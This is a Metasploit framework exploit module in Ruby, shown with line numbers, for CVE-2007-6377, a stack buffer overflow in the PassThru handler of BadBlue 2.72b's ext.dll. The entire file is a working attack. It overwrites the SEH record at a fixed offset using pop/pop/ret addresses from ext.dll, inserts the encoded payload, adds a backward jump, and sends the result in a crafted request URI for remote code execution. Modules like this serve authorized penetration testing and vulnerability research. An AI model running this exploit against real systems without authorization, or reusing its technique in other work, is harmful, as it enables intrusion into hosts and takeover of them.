1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
10
  # However, a proper Server header is returned when requesting /index.html or using HEAD.
11
  HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
12

13
  include Msf::Exploit::Remote::HttpClient
14
  include Msf::Exploit::Seh
15

16
  def initialize(info = {})
17
    super(
18
      update_info(
19
        info,
20
        'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',
21
        'Description' => %q{
22
          This module exploits a stack buffer overflow in the PassThru
23
          functionality in ext.dll in BadBlue 2.72b and earlier.
24
        },
25
        'Author' => [ 'MC' ],
26
        'License' => MSF_LICENSE,
27
        'References' => [
28
          ['CVE', '2007-6377'],
29
          ['OSVDB', '42416'],
30
          ['BID', '26803'],
31
        ],
32
        'DefaultOptions' => {
33
          'EXITFUNC' => 'thread',
34
        },
35
        'Privileged' => true,
36
        'Payload' => {
37
          'Space' => 750,
38
          'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
39
          'StackAdjustment' => -3500,
40
          # 'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
41
          'DisableNops'	=> true,
42
        },
43
        'Platform' => 'win',
44
        'Targets' => [
45
          # This is the version being distributed on badblue.com as of Jul 7th 2010
46
          [ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
47
          [ 'BadBlue 2.72b Universal', { 'Ret' => 0x10033f44 } ] # pop/pop/ret from ext.dll v1.0.0.1
48
        ],
49
        'DefaultTarget' => 0,
50
        'DisclosureDate' => '2007-12-10',
51
        'Notes' => {
52
          'Reliability' => UNKNOWN_RELIABILITY,
53
          'Stability' => UNKNOWN_STABILITY,
54
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
        }
56
      )
57
    )
58
  end
59

60
  def exploit
61
    seh_offset = 4116
62
    # sploit = Rex::Text.pattern_create(seh_offset)
63
    sploit = rand_text(seh_offset)
64
    # Need to jump over the nul byte
65
    seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
66
    sploit << seh
67

68
    plen = payload.encoded.length
69
    sploit[seh_offset - 16 - plen, plen] = payload.encoded
70

71
    # This pointer will force a crash when it is used in a lock instruction
72
    ptr = rand_text(3)
73
    ptr << [0x80 | rand(256)].pack('C')
74
    sploit[seh_offset - 8, 4] = ptr
75

76
    # These two bytes get corrupted, so we can't use them.
77
    sploit << rand_text(2)
78

79
    # jump back to the payload
80
    distance = 2 + 8 + 16 + plen
81
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
82

83
    # Build the final URI
84
    uri = "/ext.dll?mfcisapicommand=PassThru&"
85
    uri << sploit
86

87
    print_status("Trying target %s..." % target.name)
88
    send_request_raw({ 'uri' => uri }, 5)
89

90
    handler
91
    disconnect
92
  end
93
end
94

95